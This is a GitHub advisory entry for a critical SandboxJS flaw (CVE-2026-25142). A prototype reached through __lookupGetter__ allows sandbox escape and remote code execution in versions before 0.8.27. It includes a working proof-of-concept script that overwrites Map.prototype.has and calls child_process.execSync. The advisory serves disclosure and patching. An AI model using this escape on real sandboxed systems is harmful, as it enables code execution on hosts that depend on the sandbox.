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GHSA-9p4w-fq8m-2hp7

SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE

Source: GitHub Advisory Database (reviewed) Critical CVE-2026-25142

Packages

EcosystemPackageAffectedFixed in
npm @nyariv/sandboxjs < 0.8.27 0.8.27

Details

As written in the advisory (Markdown source, shown as plain text).

### Summary SandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. ### Details https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398 The Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype. ### PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` let getProto = Object.toString.__lookupGetter__("__proto__") let m = getProto.call(new Map()); m.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );` sb.compile(payload)().run(); ``` ### Impact Prototype Pollution -> RCE

References

External links from the advisory. They lead to third-party sites.